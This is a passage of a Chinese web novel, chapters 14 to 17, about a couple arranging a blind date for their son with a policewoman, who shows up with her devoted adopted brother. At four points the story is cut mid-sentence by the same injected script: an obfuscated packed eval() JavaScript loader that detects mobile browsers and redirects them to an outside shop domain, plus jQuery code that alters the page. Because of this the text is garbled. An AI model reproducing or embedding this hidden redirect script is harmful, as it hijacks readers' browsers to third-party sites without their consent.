赵母不服道,“说你没见识吧!你想啊,当年救咱家小民的时候武家丫头才多大,十一岁,一刀能把一头藏獒捅个半死,这是啥?天生干这个的料! 老武家有钱是不假,架不住出了个将星转世啊!她当警察的,长年和罪犯打交道,真要是跟豪门联姻,她受不了那约束,也受不了那个气。 若是嫁个普通人,一般的工人家庭,男孩父母文化不高的,肯定觉得委屈。所以像咱们这样的,最合适不过了。 你看,咱家底也有七位数了,一百多平方米的房子有三套,咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849720|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 家四口人,一人一辆车,还没有贷款和负债,家里收入稳定。 我还存了些结婚时娘家婆家给我的老金老银老玉器,又去建行买了一些金条,打算给他们姐弟结婚时用。 还有最重要的一点,咱家不催生啊。老赵你看,他姐弟俩出生的时候,国家奉行计划生育,别人家都只生了一个,就咱家,一口气来了个双胞胎,多累人啊。 我这辈子啊,带孩子带伤了,我退休后,我可不爱带孙子,我得打麻将跳广场舞。” 赵父道,“我也是!我得打门球、钓鱼、逛街、摄影……我这辈子最享福的个人时光,可不能埋没在孙子的奶粉尿布里。 人家西方国家孩子满了十八周岁就啥也不管了,也就咱们中国,还得管买房子,到了该娶媳妇的时候还操心!” “哎哎哎,”赵新民不解道,“你俩一唱一和地就把带孙子的活儿推出去了,那劲劲地催我结婚干嘛?哦,万一有了孩子,你俩不搭把手,就我和我媳妇干,不得累死我呀!那架就够吵了!” 赵父正色道,“你这孩子年纪轻轻咋那么封建呢!你一个00后,怎么还能有生孩子传宗接代的想法呢?结婚,是为了感情,你喜欢一个人,爱一个人,想和她早早晚晚在一起。 她是你的朋友,伴侣,亲人,是父母不在后能陪着你的人,是你感情的寄托,是你和外界保持联系的媒介。” “就是啊,”赵母给赵父倒了一杯茶,“你和你姐姐虽和气,但你们是两种不同的性格,你又这么内向。 我和你爸就担心啊,等我们没了那天,最放心不下你。 你姐一个游山虎的性格,到处跑野马。你又是个闷葫芦,我们走了以后,你一个人在家,清锅冷灶的,连个说话的人都没有。所以啊,你能结婚,我俩这石头算落了地。” “小民啊,爸爸是开明的人,知道己所不欲勿施于人。 我们自己也不爱带孩子,自然不催儿子儿媳生孩子。至于你以后和你媳妇想生了,你放心,爸爸妈妈会帮忙,出钱出力,闷头干活,绝不多嘴多舌。” “小民,我和你爸这辈子虽然就混个正科级,但也是受过教育的人。 儿媳妇不是生孩子机器,不生,也不能给脸子瞧。 这年头呀,没有过去那员外老太爷老太君,跑腿大坐在炕头上等着儿媳妇端茶倒水炕上炕下伺候的事了。 只要嫁过来,就是咱们家的女儿。不能说人家不生,我们就不疼爱。你姐在家怎么娇惯的怎么称王称霸的,你媳妇就是一样的待遇。” 赵新民低着头想了想,“爸,妈,那你们……为啥让我见摄政王啊?我跟她……合适吗……” 赵父笑道,“你这傻小子,还没见到怎么知道合适吗?你们有啥不合适的? 她爷爷提的那些条你都符合,你又有寒暑假,又不当班主任,工作不累,你又不爱玩,眼里又有活,又干净讲卫生。论起过日子来,比你姐整天疯得看不见摸不着的强多了。” “摄政王……她是英雄啊……” 赵母笑道,“英雄也不红眉毛绿眼睛的,英雄也是普通姑娘呀!” “那我配不上英雄啊!” “儿子,别说配不配得上的事,就说你喜欢不喜欢?” 赵新民被母亲这句话怔住了,挠挠脑袋道,“摄政王……她小时候就别的小女孩不一样,班里谁被外班欺负了,找她准没错,她能帮我们出头。 上高中的时候,有她在,外校的都不敢来挑衅。她一个人能罩一个校,而且她不收保护费,还特大方,运动会上扛了几大桶她家店里的酸梅汤和紫苏饮给我们喝。联欢会上还让大家免费品尝她家的桂花糕。 说真的,我们那时候都把她当龙头大姐看……跟大姐相亲……妈呀,做大姐的男人……这要是让当年那帮同学知道了,不得羡慕死我呀……” 赵母笑着揉揉他的头发,“老赵,你瞧你这傻儿子,还是对人家有意思。” 赵新民不好意思道,“妈,这年头好姑娘不多,过了这村没这个店了。” 赵父眼睛一亮,一指赵新民,“这就对了!我这傻小子开窍了!这有钱有名人品过硬的好姑娘,打着灯笼也难找。你呀,明天收拾得利利索索的,买捧花给人家。” 赵母补充道,“可不能再给人家讲立体几何了。聊聊小时候的救命之恩,叙叙旧,你也会做饭,向人家请教厨艺,骑马,枪法什么的。 总之啊儿子,娶个好媳妇,享一辈子福。这样,老赵,明天两个孩子就见面了。武老爷子重老礼儿,你带上两罐上好的奶粉和蜂蜜,带着小民先去武家老号拜见一下武老,让他先相看小民,也显得咱们懂规矩重礼数。” 14. 赵新民和武厉枭第一次见面 赵新民站在满堂红火锅店门口,手捧着一大束火焰鸢尾忐忑不安地等待着。 他有点懊恼听妈妈的话穿个红色夹克衫来了,因为他是黑黄面皮,穿这鲜红的,只能显得肤色更暗沉。 也许,该穿一套行政夹克,是不是?显得端庄稳重。 不行,那样穿……又显得有些老气横秋的。 武厉枭出现了,跟小时候长得差不多。额头光洁明亮,两道月剑眉,看起来像一株英气勃勃的木棉花。漆黑漆黑的眼睛,他从小就觉得,像两颗小黑豆似的。但这话他打死也不敢说。武厉枭的面部轮廓柔润而又清秀,但气场却显得非常强大,往那一站就知道是当警察的。 如果披上一身铠甲,俨然是横刀立马的女将军。 而她身边则站着一个非常清瘦而单薄的少年,看起来差不多比自己高出半个头。宽大的白衬衫在他身上被风吹得鼓了起来,如即将展翅欲飞的鸽子。一双桃花眼顾盼流转,眼尾微红,似随时要哭出来一般。他的皮肤白得几乎透明,嘴唇却若婴儿般异常柔软红润。他若水墨丹青中走出来的一抹烟雨桃红,看似幽远清淡,却实实在在地向自己逼近。 那是一种什么感觉呢?很美,很矜贵,很……妖异…… 武厉枭走了过来,大大方方地微笑着伸出手来,“新民,老同学,好久不见。” 赵新民有点发怔,忙握住了她的手,“摄政王……哦,不,厉枭,见到你真高兴,你真是越来越漂亮了。”然后把花递了过去,“送给你……” 此时微信通话声突然想起,赵新民赶紧去接,语气匆匆道,“见到了……人家来了……回去再跟你说……”然后又赶紧挂断,满脸堆笑道,“我订了个包间,这位是……” “我弟弟,苏晏清。” 苏晏清忙半鞠躬道,“新民哥好,总听我姐姐提起您,说你在体制内教书,又是硕士毕业,让我向您学习。” “客气了客气了。老弟今年多大?” “十九岁,我在山大学法律。新民哥,考研的话英语很重要的是吧?我背单词不行,您有空的时候能不能指点指点我?” “那没得说,都是自己人。” 三人进了包厢后,苏晏清就替武厉枭拉开凳子,帮她脱掉大衣和丝巾,接过她的背包挂在衣架上。然后拿出消毒湿巾来递给她,“姐姐擦手,你想吃什么,我来点餐。” 赵新民忙道,“我点了个鸳鸯锅,一份麻辣锅底,一份菌菇清汤锅底。” “哦,我姐喜欢番茄锅底。新民哥,能不能加一个?” 赵新民点头道,“好,老弟你喜欢吃什么锅底的?换个四汤锅的吧。” “我跟姐姐吃一样的就好。”苏晏清修改完菜单,走出去拿给服务员,不多时又端着两碗调配好的火锅蘸料进来,“姐姐,我帮你卸好了芝麻酱,加了茶油和韭花酱。新民哥,你喜欢吃什么味儿的?我帮你去调?” “不用了,我吃火锅不喜欢蘸料。” “我看前台有酒水,我去帮你拿一罐啤酒吧?” “不用了,我不喝酒的。你帮你姐拿饮料就好了。” 苏晏清笑道,“不喝酒的习惯真好。”然后又从书包里拿出一大瓶绿豆汤来,“吃火锅容易上火,我提前熬好了酸梅汤。新民哥,等下尝尝我的手艺。” 赵新民有点愣住了,“吃火锅自带绿豆汤?” 苏晏清笑道,“我爷爷从不让姐姐喝外面的饮料的,说添加剂多,对身体不好。平时我姐喝的饮料都是我们家自己煮的。对了,哥你喜欢喝什么?下回我做些给你?” “不用了不用了,”赵新民尴尬地摇头道,“你们家对你姐真细心。” “我姐是家中的独生女,女孩子,自然要细心些照顾。” 武厉枭笑道,“新民,我今天第一次相亲,从前也没相过,不知道该和相亲对象说些什么。为避免咱俩尴尬,就把我弟带上了。这样如果你对我不满意,咱俩没话说,你还可以跟他聊聊天,你们男生之间肯定有打篮球之类的共同话题。你不介意吧?” “不介意不介意。其实啊,咱们是老同学,知道相亲的是你,我挺高兴的,正好可以叙叙旧。” 苏晏清帮武厉枭洗过杯子,斟满绿豆汤后,又起身要帮赵新民洗杯子,吓得他赶紧站起来拦住,“不敢不敢,太不好意思了。” 苏晏清笑道,“哥你太客气了,以后咱们都是一家人,我帮你做点事应该的。”他斟满绿豆汤后又拿出了一只发圈,帮武厉枭扎了一个高颅顶的马尾辫,“我姐呀,什么都好,就是有些粗心,出来吃饭总不记得带发圈,哥你以后要多提醒她呀。” 武厉枭满眼笑意道,“不戴又不要紧。上次我没戴发圈,你用筷子当发簪帮我挽的发髻也很好看啊。” “我新学了用两只筷子当钗来绾发,更结实,下回盘给你看,旅游的时候拍照更出片。” 武厉枭笑着摸了摸他的头发,“我家宝宝就是聪明。” 赵新民尴尬道,“厉枭,我记得小时候你是独生子女的,这老弟是……” 苏晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849721|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 清马上接口道,“哦,我本来是孤儿,是爷爷和叔叔阿姨好心收养了我。” “老弟过来几年了?” 武厉枭道,“我们小时候就认识的。我弟很懂事,我们全家都很喜欢他。” 这顿饭就在欢声笑语弥漫着说不清道不明的尴尬中流水般地进行着。苏晏清还是把那杯绿豆汤倒给了赵新民喝,“今天认识了新民哥,我实在是三生有幸,哥,我敬你一杯。以后老弟有什么不懂的,还请你多指教。” 赵新民也举杯道,“兄弟你太客气了。” 武厉枭笑道,“你俩这么投缘,干脆结拜得了。” 赵新民道,“我高考的时候,差几分没考上山大。后来我去过那里,哎呀,景色好得很!学校没有围墙,旁边的大学城就是商业街。里面的载舟书院,长乐亭,晚晴湖,都是有名的旅游景点。还有紫薇林,朝霞山,秋天一到层林尽染的。那朝霞山就是山大的后花园。下山路上的那条粉黛街,家家东西都那么好吃。上次我吃过那家珍珠饼店的手抓饼,太好吃了!” 苏晏清道,“哥你要是喜欢,下次我买了给你送过去。” “哎呀,那怎么好意思呢。” “没关系,都是自己家人。那家不做外卖的。”苏晏清拿出纸巾帮武厉枭擦了擦额头上的汗珠,又捞了两只撒尿牛丸到她碗里,“现在肯定熟了,尝尝看。” 武厉枭咬了一口,里面的肉汁迸了出来。苏晏清赶紧帮她擦嘴擦手,“有没有烫到?” “没事没事。” 苏晏清帮她重新换了碗蘸料,下意识地把她吃剩的牛丸吃掉,又捞了两颗鱼丸吹了吹,用勺子喂到武厉枭嘴里。武厉枭坦然地吃了下去,笑道,“宝宝真乖真可爱。” 苏晏清又给赵新民舀了两颗鱼丸,递过来几张纸巾,“哥你吃的时候小心啊,可能也会有肉汁……” 这场火锅宴吃得融洽和谐宾主尽欢,苏晏清很健谈,从哈佛大学的法学专业,柏拉图的《理想国》,到朱令案和大丽花惨案,说得头头是道。朗澈的led灯下,他瓷白的脸庞泛着淡淡的红晕,一双桃花眼春水汪汪,映衬得赵新民格外沉寂。 酒足饭饱后,武厉枭拉着苏晏清起身告辞,赵新民说:“我送你们回家吧?” 武厉枭把手搭在苏晏清肩上道,“不用了,我弟开了车送我回去。” 苏晏清道,“哥你吃好了吗?下次咱们约南大街那家广式粥底火锅怎么样?我姐一直想尝试一下。” 赵新民绅士地一笑,“那说定了。” 15. 武家少爷来掌眼 武厉枭捧着花挽着苏晏清袅袅婷婷地离去,赵新民开着车回家。一路上夜色茫然,他心里,也一片茫茫然。 回家后,该怎么跟父母说呢?今天的火锅宴,成功吗? 赵新民回到家中已经快十点了,果然父母都没睡,连游山虎似的姐姐赵新雪也回来了,个个瞪得眼睛跟灯泡似的等着分享他的恋爱八卦。 “老弟,怎么样?跟你们班那个摄政王,饭吃得怎么样?” “挺好的,那火锅挺好吃的。” “啊?光吃火锅了?”赵母着急道,“聊啥没有?” “聊了,聊了山大粉黛街的手抓饼好吃,她还想吃粥底火锅。” 赵母笑道,“有门儿有门儿!这就是递话呢!让你带她去吃手抓饼,让你带她去吃粥底火锅。”又拍了拍赵父,“老赵,我就说咱家小民行,不用那些媒人在那儿做电灯泡。从前讲立体几何啥的,是咱小民看不上那姑娘。缘分到了,咱小民也是个情商高会哄人的。” 赵父也眉开眼笑道,“小民,你明天哪,给小武姑娘发个微信,说你妈也会做手抓饼,说爸爸做的粥底火锅比外面店里的都好。咱家用的都是上好的海鲜,请小武姑娘来家吃饭。” 赵新雪笑道,“老弟,看不出你个语死星人,有当驸马的命!你是不知道摄政王销售多拉风,男生有没有喜欢她的我不知道,我只听到很多女生都说:如果摄政王是男生,她们哪怕当不成摄政王的老婆,给她当小妾都愿意!哈哈哈……老姐我不求跟你沾光,你帮我把武妈妈,也就是王总的汉服公司的广告授权拿下来就行。老姐我以后就跟你混了……” 赵新民莫名其妙地看着这三个人,“你们说啥呢?” “说你今天相亲成功呀?”赵母眉头一皱,盘算道,“不对不对,得赶紧把小民那套新房子装修好了,明天我就叫人安上水电……新房子粉刷好且得透几个月……” “哎呦妈!”赵新民不耐烦道,“今天她带她弟弟来的。” “带弟弟?”赵新雪奇怪道,“不对呀,谁都知道武家只有一个独生女,哪有弟弟呀?” “是养子。说是孤儿,被武家收养的。” 赵新雪奇道,“养子?那能被武家收养,可算掉进富贵窝了。但这相亲,带弟弟干嘛?” “她说怕我俩没共同语言,叫弟弟来,两个男生之间可以聊聊篮球什么的。” 赵父想了想,“也对劲。武老爷子重老礼儿,讲究面子。生意人,买卖不成仁义在。就算你俩不成,能结识武家的养子,也不错呀。” 赵母瞪了赵父一眼,“你说啥糊涂话呢!小民是交朋友去了吗?那不是找对象吗?”又问赵新民,“她弟弟那人怎么样?对你客气吗?” “特客气,特周到,特亲切。见面就给我鞠躬,管我叫哥,给我倒饮料,盛鱼丸,拿餐巾纸……” “这不就结了!”赵母眉开眼笑道,“那弟弟就是武老爷子的眼线!你想啊,武家虽说是小武姑娘的父母赚大钱,可小武姑娘是爷爷带大的,到现在都跟爷爷一起住,她的婚事肯定是武老爷子做主。她弟能对你这么客气,说明武老爷子认可你。” “可我咋感觉那么怪呢?” “没啥怪的。”赵父高兴道,“老武家是前清宫廷供奉,赏过顶戴的大户。武老爷子向来重体面规矩大,他家的养孙,受他的熏陶教育,有礼数有规矩,不足为奇。” “可是……这也太好了吧?我姐都没给我倒过饮料。” “你当谁都跟你姐似的,疯丫头一个!”赵母笑着嗔道,“武家收养他,他自然感恩,对未来姐夫客气。” “那我对我姐也不这样啊,他还给他姐端蘸料,帮他姐挂衣服……” “他毕竟不是亲生的,养子,就得靠讨好姐姐得到养父养母的认可,才能在这家待下去……他是不是还不大?” “不大,才十九岁。” “那就是了,还在读大学,还得靠养父养母养活,供他吃穿。”赵母笑道,“我看这事……八字画出一撇了。小民,你明天再给小武姑娘发个微信,说后天请她吃粥底火锅。我呀,明天下班去粉黛街买几个手抓饼,回来琢磨琢磨,到时候请小武姑娘来家吃饭。”又说赵新雪,“小雪你也别整天灯笼火把地出去乱蹦,天天摸不着人影,就知道跟你那帮闺蜜到酒吧迪厅跳舞跳六的,没事多回家吃饭。自己打扮得花孔雀似的,有空也带你弟逛逛街剪个精神点的头发,买两件时髦点的衣服。还有老赵你,没事多去武家老号找武老爷子说说话,侧面打听打听小武姑娘喜欢吃啥用啥,咱们得有所准备,打赢这场硬仗!” 赵新雪笑道:“老弟,摄政王的弟弟长什么样?” 赵新民想了想道:“长得……个子那么老高,腿那么长,皮肤也白白净净的……还挺会长的……” 赵母笑道,“武老爷子会调教人,荣宝斋的糕点养人,自然跟水葱似的。” 赵新民道,“厉枭说她弟读书可好了,在学校是一等奖学金,市级三好学生,优秀大学生。法理学和宪法学都是满分,民法和刑法也考了九十多分。平时周末不上课的时候就在武家老店里帮忙,他改良的杏花糕可好吃了,一上架就秒空。武爷爷说他在这个年纪可没有这手艺……” “等会儿,老弟,我没听错吧,山大的一等奖学金还能英语不好,需要你一个二本院校的硕士毕业生帮忙补英语?” “啊?”赵新民挠挠脑袋,“是哦,姐,你不说的话我还真没注意到这个。可能是……他客气吧……她弟那个人……挺好的,他还会修水管和电路呢,荣宝斋的压面机坏了就是他修好的。他还跟我说:哥你家要是有啥东西坏了就跟我说,自己家人别客气……” 赵新雪笑道,“妈呀,看来这宝藏弟弟还是的姐宝男。既然他那么喜欢围着姐姐转,你看你老姐我咋样?你姐我是没有摄政王那么英雄盖世,但我比摄政王漂亮,更有女人味。这样吧老弟,你把那小奶狗的微信推给我,下次我带他出去吃火锅,省得你约摄政王的时候他去当电灯泡……” “你可拉倒吧!”赵母眉毛一拧眼睛一瞪,“那是武家的人,是武老爷子的养孙,是这老太爷的钦差大臣!你当是你酒吧认识的人呢!我可警告你,你不许在人家武家少爷面前嘚嘚瑟瑟的没个稳当劲儿!你要是把武家这事搅和了,你看我轻饶你不?” 赵父也在一旁帮腔道,“就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849722|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,小雪,你也别怪你妈说你,爸爸也得嘱咐你两句。你弟的婚事现在可是在节骨眼儿上,咱们一家子得一起使把劲,把这事给促成了。你当姐姐的,朋友又多又有见识,你没啥事得教教你弟弟,女孩都喜欢啥浪漫呀,喜欢啥样的手提包呀,丝巾呀,你陪你弟去买呀,又不要你掏钱,爸爸给出这个钱,买了送给人家小武姑娘呀。你妈这天天直上火,你看这嘴都起泡了,你还跟个没事人似的!” “行行行!我罪孽深重!我没心没肺,我缺心少肝还不行吗?我明天就去问我那些闺蜜们,把她们喜欢的浪漫约会都记录下来,发给我弟,争取早日帮我弟把摄政王娶回家!” “这还差不多!” 赵新民一脸的蒙圈,“那粥底火锅我还约不约呢?是约到店里吃还是约到咱家吃?” 赵新雪“噗嗤”一声笑了出来,“老弟,你不怕摄政王把她弟带到咱家来?” 赵母笑道,“带到家来好哇,正好我和你爸也认识认识这武家小少爷?带到家来,那是替武老爷子掌眼,相看咱家的情况。要我说,粥底火锅就带咱家来吃,让你爸做。” “对对对,”赵父点头道,“星期天正好我休息,到时候咱们一家人整整齐齐地迎接小武姑娘,我理个发,老伴儿你烫个头,精神一点儿,还有小雪,你那天别出去游山了,你也在家。” 赵新雪不满道,“我那店里星期天生意最忙,老多女生来拍汉服照了!” “哎呦我的小姑奶奶,是你的照片值钱还是你弟的婚事值钱?”赵母拉着赵新雪的胳膊道,“你听妈话,那天你就在家里,你店里的损失你爸补给你还不行吗?你弟弟不会说话,你那么会说,你多在小武姑娘面前说说你弟的好话呀!你弟高考数学过了140,你弟大一的时候就过英语四级了,你弟考编制的教综和说课全市第一名呢!你多提提。” “就是,”赵父附和道,“你也是女孩,小武姑娘你们同岁,又是校友。你呀,多套套她的话,问她喜欢吃啥玩啥,喜欢穿啥戴啥,女孩之间好沟通。等你俩成朋友了,你弟和她就更近了。将来真成一家人了,姑嫂和睦,多好呀!” “哦买嘎!”赵新雪一拍脑门,“你们杀了我吧!”她把自己拍在沙发上,“爸妈,你们没听过那句话吗?酒香不怕巷子深,上赶着不是买卖。我老弟要是真好,摄政王能发现的,不用别人总去打广告。你们这么积极宣传,会让摄政王起疑心的。她是什么人?警察!你们总这么宣传吹呼,她会觉得你们干嘛这么热情,是不是你们儿子有啥隐疾,不孕不育啥的,一个残次品推销给我呀?” 赵母想了想,“也有道理!那这样吧,小民你还是跟小武姑娘说,请她在外面吃粥底火锅吧。这么快就带到家里来,我怕人家姑娘害臊。” 赵父道,“前几天我听武老爷子说,很多老主顾说南方的龙井茶糕好吃,他也想试试做。老伴儿,家里不是还有一罐没打封的西湖龙井吗?快找出来,我明天给武老爷子送去。” 赵新民回到屋里,不多时就进入了梦乡。他做了一个梦,梦见武厉枭变作一辆银光闪烁的高铁,飞速地蚀向远方。而苏晏清,就是高铁上方伴随她离去的玫瑰色的流云…… 16. 我首先是你姐姐 苏晏清开着武厉枭的路虎车往家奔去的路上,灯光如散碎的星河般在车窗上流转,他心里也五味杂陈。武厉枭坐在他旁边,抿了抿嘴,把手搭在苏晏清的手上,“宝宝,你吃好了吗?” “吃得很好,姐姐。” 武厉枭拿过车头上的一只精巧玲珑的三棱柱茶色磨砂玻璃瓶,“这是什么?” “是我给你做的车载香薰。” 武厉枭拿起来闻了闻,“好香啊,是茶叶的香味儿。前调是茶香,中调是柑橘味儿,尾调还有柚子香。” “自己做的精油,不含甲醛,还能提神醒脑,对身体好。” “你哪里弄的茶叶?爷爷和黄爷爷黄奶奶为了保持敏锐的味觉,都不喝茶的,” “是那个新民哥的爸爸送给爷爷的茶叶,爷爷不喝,就给了我,我就做成了香薰给你。” 武厉枭呵呵笑着把头靠在苏晏清肩上,“看不出来,我的宝宝还有这么调皮的一面。” “姐姐,你觉得……新民哥那个人……怎么样……” “他让我想起一个笑话。” “什么笑话。” “一个男生给女生发微信:你干嘛呢?女生说:呼吸呢。男生说:我想约你吃饭。女生说:饭戒了。男生说:为啥戒了?女生说:吃饭过敏。男生说:那约你散步吧。女生说:截肢了……哈哈哈……” 二人开车路过一家玩具店,武厉枭赶紧让苏晏清停车,拉着他直冲进去。店员小姐姐忙走了上来,“二位给多大的宝宝买玩具?” 武厉枭道:“我们先看看。”然后兴致勃勃地左看右看,最终挑选了一只大挖掘机,一桶300块榉木积木,一套航空母舰拼图,一只电动磁性钓鱼机,心满意足地付钱离去。 苏晏清有些丈二和尚摸不着头脑,“姐姐,是你同事家的孩子过生日吗?” “不是啊,给你买的。” “给我买的?”苏晏清疑惑不已,“我都多大了,还玩玩具?” “你长再大,在姐姐眼里也是孩子,小孩子哪有不玩玩具的?你小的时候没有条件玩,如今有条件了,就要补上这一课。” 二人回到武家老宅,爷爷已经睡着了,苏晏清给自己和武厉枭各热了一杯牛奶,端到武厉枭房中,“姐姐,喝牛奶。” “哎呦,今晚吃了那么多东西,都喝不下了。” 苏晏清把牛奶举到武厉枭嘴边,“姐姐,是你教我的,睡前喝牛奶对睡眠好。” 武厉枭笑了笑,端过来一饮而尽,摸了摸苏晏清的头,“你小时候也是这样把糖举到我嘴边,非要我吃。你想跟我玩都都飞的时候,也是这样把手指举出过的。” “什么都都飞?” “就是这样的。”武厉枭握起苏晏清一根纤长的食指,和自己的食指点两下,“都都……飞——”把自己的食指撤回,“那个时候你差不多一岁多,每天都缠着我玩。” 苏晏清笑道,“我那时候还喜欢玩什么?” “还有躲猫猫。就是这样的,”武厉枭双手蒙上脸,“猫——”把手撤开,“你就特别高兴。” “那……姐姐有没有给我穿过花裙子?” “没有,我自己都不喜欢穿花裙子,不过,我给你扎过小辫子,跳长绳的时候让你帮我摇绳。你很聪明,一学就会。一起玩捉迷藏的时候,你每次都只跟着我跑。不过,我还真揍过你一次。” “嗯,为啥揍我?” “那次我发明了一个新玩法,用被单当摇篮,抓住四个角,把你放在里面打悠悠。你高兴地直瞪腿,玩了一次还要玩,玩了一次还要玩,我那个时候也才不到十岁,哪有那么大力气,累得胳膊都抬不起来了,就说不玩了,姐姐带你买糖去。你非要玩打悠悠,怎么也哄不好,一直哭。后来我生气了,打了你屁股两下……” 苏晏清不好意思道,“我小时候那么不听话呢?” “你平时很乖的,就是那天不听话。后来爸爸妈妈还说我:小孩子都是这样的,一玩打悠悠的游戏就停不下来,你非要招他玩,如今又收不了场,还打他……后来,王叔叔就在院子里给你扎了个能坐又能躺的摇篮秋千,我就把你抱上去荡啊荡啊,你笑得像小鸟似的……” 苏晏清趴到武厉枭耳边,“如今我长大了,姐姐,我来给你打悠悠,好吗?” 武厉枭白了他一眼,“姐姐哪有你那么幼稚?” 苏晏清道,“可是,我也想像小时候那样,来照顾你。” “你怎么照顾我呀?你小时候我还给你换纸尿裤,给你洗过澡呢!你那时候还在我吃饭时拉臭臭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849723|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ……哈哈哈……不说了不说了……说起来,糗事得有一箩筐……” “姐姐,说说吧……”苏晏清躺下去,头枕着武厉枭的腿,“我想听……” “那天吧,我在屋里吃午饭,突然就闻到一阵臭味,我就知道,你拉臭臭了。哎呀,我赶紧叫外婆来:外婆,宝宝拉臭臭了。外婆赶紧给你换纸尿裤。我把饭都盖住了,躲到外面去。我说:饭都变臭了!哈哈哈……” 苏晏清红着脸害羞道,“哎呦姐姐,人家哪有……” “你特别喜欢我背着你。有的时候我背着你在院子里玩,看到路边的鸡,我把它们吓走,你就咯咯笑。你几个月大的时候,什么都喜欢放进嘴巴里,抓着我的手放进嘴里咬,抓着我的衣服放进嘴里咬,连我的辫子也喜欢放进嘴里咬。我跟你说:不许咬姐姐,姐姐会疼。你就不咬了,不过呀,你下次又忘了。小坏蛋!”武厉枭说着,轻轻拍了苏晏清的头一下。苏晏清忙握住武厉枭的手,“是我坏,我不乖,来,我给姐姐呼呼。” “你每次困了,都要我背你:姐姐,背背……我背着背着,你就睡着了。然后啊,我就觉得后背一股热流涌下来了,哎呀,是你这个坏蛋宝宝,尿我一后背!哈哈哈……” 武厉枭笑着抽回手,却叹了一口气,“可是,我却没能看着你读小学,读中学,中考,高考……我只能待在福利院门口,看着你一点一点长高,一点一点长大……我每次想走过去跟你说两句话,又怕面对你,更怕面对自己。我不知道该怎么跟你解释,解释你家的事,更不知道该怎么回答梦里的你问我的问题:姐姐,为啥你成了英雄,我却没了爸爸妈妈……” “那个时候,我知道是你在远远地看着我,我一开始以为,你是讨厌我,嫌弃我,觉得我是罪犯的儿子。可是后来我知道了,你如果讨厌我的话,不会给我送吃的,送书和练习册。那场变故,来得太突然。我失去了家,你也失去了我十四年……我盼你来,又怕你来。看不见你的时候,想见你。看到你的时候,心里又难过。你每来一次,我都要偷偷哭一次,就像心里有个魔盒子似的,平时关着,我还能正常生活,一打开,那些痛苦就全跑出来了……” “对,还好老天眷顾,把你还给了我。无论我是谁,警察也好,英雄也罢,我首先是你的姐姐。” 17. 赵新民的求爱苦恼 第二天早上,赵新民终于熬到了中午放学时间,迫不及待地给武厉枭发出微信:厉枭,你哪天有空,我想请你吃粥底火锅。 下午放学时,赵新民收到了回复:老同学,不好意思,我这两天很忙,改日吧,改日我会请你。 赵新民回复:好,谢谢你。厉枭,上次我还忘了跟你说,谢谢你,谢谢你当年救了我。 武厉枭回复:不用谢,那已经是很多年前的事情了。 赵新民说:小时候,你学习好,人又好,又有威信。我只是班里的小透明,我特别佩服你,崇拜你。 武厉枭说:是同学们给面子…… 后来的几天,赵新民在姐姐的指导下经常给武厉枭发信息: 厉枭,今天我们食堂的红烧肉很好吃,下次我带你来吃吧…… 厉枭,今天的晚霞很好看,粉紫色的,我拍给你看看…… 厉枭,今天我听说咱们班的李明山下个月结婚,你去参加婚礼吗?我们一起去吧? 厉枭,最近那部科幻电影《哭泣的恒星》要上映了,我们一起去看,好不好…… 厉枭,我昨天看到了一件银灰色的披肩,觉得挺适合你的。你周末有空吗?我们一起去买下来吧…… 每次寥寥数语,寡淡无味。 赵父捧着一大盆十八罗汉茶梅走进了荣宝斋,“武老爷子,这是我们单位工会新发的福利。您知道我这个人啊,粗枝大叶,也不是风雅的人。这花呀,孝敬您了。” 武月直忙推辞道,“这怎么好意思呢?” “这花放我那儿也是糟蹋了,放您这儿,如果也花能做成点心甜酱,也算有用。” 武月直想了想,“那我得付钱。” 赵父笑道,“您要是真想付钱,让我多来闻闻您这儿的糕饼甜香,受受教育就行了。我就愿意来您这儿跟您学做人处世的道理,比在单位开会受益。我呀,就是赶着也不肯走。”说着,又掏出笔记本来,“您上次给我讲的《武氏家训》,我还做了笔记,时时带在身上,随时温习。” 